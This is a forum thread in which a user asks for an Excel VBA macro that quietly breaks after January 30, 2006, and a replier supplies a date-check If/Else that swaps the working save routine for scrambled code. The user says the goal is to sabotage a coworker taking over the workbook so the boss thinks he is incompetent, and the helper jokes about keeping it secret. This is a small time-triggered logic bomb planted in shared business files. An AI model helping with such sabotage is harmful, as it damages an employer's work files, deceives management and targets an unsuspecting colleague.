SSShhhh... Secret VB Code.

[highndry]

Is there any code out there that will alter the macro after certain period of time.

For example:

ChDir "S:\Acctg\CGIT\Management Summaries\FY2006"
ActiveWorkbook.SaveAs filename:= _
"S:\Acctg\CGIT\Management Summaries\FY2006\DashBoard-" & Range("B3").Value & ".xls", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, _
CreateBackup:=False

Could the above macro be turned to the following after January 30, 2006


ChDir "S:\dtyrh\gguf\fjfur\dndhjfj\"
Activenghtukyy.SaveAs jfhebhudsdjen:_
"S:\Acctg\CGIT\Management yhituyrhebgf\FY2006\DashBoard-" & Rangejjfurhrtgersf & ".xls", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, _
CreateBackup:=False

Thanks

No comment please.

 

[XLGibbs]

dim dateCk

dateck = format(now(),"mm/dd/yyyy"

If dateCk < "01/30/2006" Then

 ChDir "S:\Acctg\CGIT\Management Summaries\FY2006"
ActiveWorkbook.SaveAs filename:= _
"S:\Acctg\CGIT\Management Summaries\FY2006\DashBoard-" & Range("B3").Value & ".xls", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, _
CreateBackup:=False

Could the above macro be turned to the following after January 30, 2006

Else:
ChDir "S:\dtyrh\gguf\fjfur\dndhjfj\"
Activenghtukyy.SaveAs jfhebhudsdjen:_
"S:\Acctg\CGIT\Management yhituyrhebgf\FY2006\DashBoard-" & Rangejjfurhrtgersf & ".xls", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, _
CreateBackup:=False 

End If

I won't tell if you dont

 

[highndry]

Thanks Gibbs.

 

[XLGibbs]

Probably not the best way to get a reference for your new job though. But if it is merely a practical joke for the new guy taking over your old job....

 

[highndry]

I just want to teach this ungreatful guy a lesson. He likes to take credit for others work, so we shall see how he perform after Jan 30. Just enough for the Boss to know that he knows crap.

 

[XLGibbs]

Ahh, I know the type. been there done that.